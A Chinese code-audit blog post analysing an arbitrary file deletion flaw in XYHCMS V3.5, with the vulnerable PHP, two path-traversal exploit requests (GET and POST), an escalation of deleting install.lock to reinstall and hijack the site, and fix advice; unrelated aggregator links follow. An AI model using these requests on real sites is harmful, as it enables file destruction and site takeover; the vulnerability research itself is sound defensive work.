0x00 环境准备

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/App/Manage/Controller/DatabaseController.class.php   第293--233行:

  1. public function delSqlFiles() {
  2. $id        = I('id', 0, 'intval');
  3. $batchFlag = I('get.batchFlag', 0, 'intval');
  4. //批量删除
  5. if ($batchFlag) {
  6. $files = I('key', array());
  7. else {
  8. $files[] = I('sqlfilename', '');
  9. }
  10. 10.         if (empty($files)) {
  11. 11.             $this->error('请选择要删除的sql文件');
  12. 12.         }
  13. 13.         foreach ($files as $file) {
  14. 14.             unlink($this->getDbPath() . '/' . $file);
  15. 15.         }
  16. 16.         $this->success("已删除:" . implode(",", $files), U('Database/restore'));
  17. 17.     }

这段函数中对提交的参数进行简单的判断,然后将接受的参数拼接到路径中,带入到unlink函数中进行删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件,如删除install.lock进行CMS重装,劫持网站

数据库。

0x02 漏洞利用

1、在网站根目录新建1.txt作为漏洞测试文件

2、进行漏洞利用

漏洞利用方式一:

通过GET方式提交参数,删除根目录下的1.txt文件

http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\1.txt/tm/1

漏洞利用方式二:

通过POST提交参数,删除根目录下的1.txt文件

http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/batchFlag/1

POST:key%5B%5D=../../../1.txt

3、如何进一步利用呢?

删除\Install\install.lock,进行CMS重装,劫持网站数据库。删除install.lock文件,访问http://127.0.0.1/install/,成功进入系统重装界面。

0x03 修复建议

1、过滤..,用来防止目录跳转

2、对要删除的文件名进行严格限制

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】XYHCMS V3.5任意文件删除漏洞分析的更多相关文章

  1. 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  2. 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

      0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...

  3. 【代码审计】XIAOCMS_存在任意文件删除漏洞分析

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  4. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  5. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  6. 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  7. 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  8. 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  9. dzzoffice 任意文件删除漏洞分析

    dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){    $arr=array();    $ ...

随机推荐

  1. Instruments

    链接: iOS性能优化:Instruments使用实战 iOS 使用Instruments的工具小结    

  2. C语言事实上不简单:sizeof

    问:C语言中一共同拥有多少个keyword? 答:32个. 答不上来的没关系.非常正常.我们玩的是程序的艺术.而不是背数字. 只是这个特殊的数字1<<5也是非常好记的-.-. 问:size ...

  3. Voltage Translation for Analog to Digital Interface ADC

    Voltage Translation for Analog to Digital Interface 孕龙逻辑分析仪 ZeroPlus Logic Analyzer How to modify an ...

  4. 外卖ERP管理系统(二)

    京门时代旗下外卖ERP管理系统是一款专注外卖行业的解决方案系统! 系统介绍: 1.外卖erp系统是一款集订单分发.一键派送.实时大屏监控.店铺进销存.仓储管理及数据分析为一体的智能化外卖管理系统.已服 ...

  5. C# ConcurrentQueue实现

    我们从C# Queue 和Stack的实现知道Queue是用数组来实现的,数组的元素不断的通过Array.Copy从一个数组移动到另一个数组,ConcurrentQueue我们需要关心2点:1线程安全 ...

  6. packageOfficialDebug和resourceFile does not exist.

    Android Studio运行时候报packageOfficialDebug错误 报错信息为 Error:A problem was found with the configuration of ...

  7. 启动exe

    public void OpenTabTip(){    bool bt = true;    Process[] processes = Process.GetProcesses();    for ...

  8. android highcharts 柱状图例子

    android提供achartengine api 只能做简单的,如果是复杂的图表,个人的想法结合highcharts来完成:减小工作量,官方提供的例子也非常丰富. 通过android webview ...

  9. google全球地址

    IP Addresses of Google Global Cache www.kookle.co.nr Bulgaria 93.123.23.1 93.123.23.2 93.123.23.3 93 ...

  10. 2013-2015 Aaronyang的又一总结,牧童遥指纳尼村

    我没有时间去唠叨自己的事,可是你们是我喜欢的人,ay很愿意写给你们分享:去年的万人阅读的总结链接:<没学历的IT人生没那么悲催,献给程序员们> 提前声明:本文不良反应:请自备垃圾桶,准备装 ...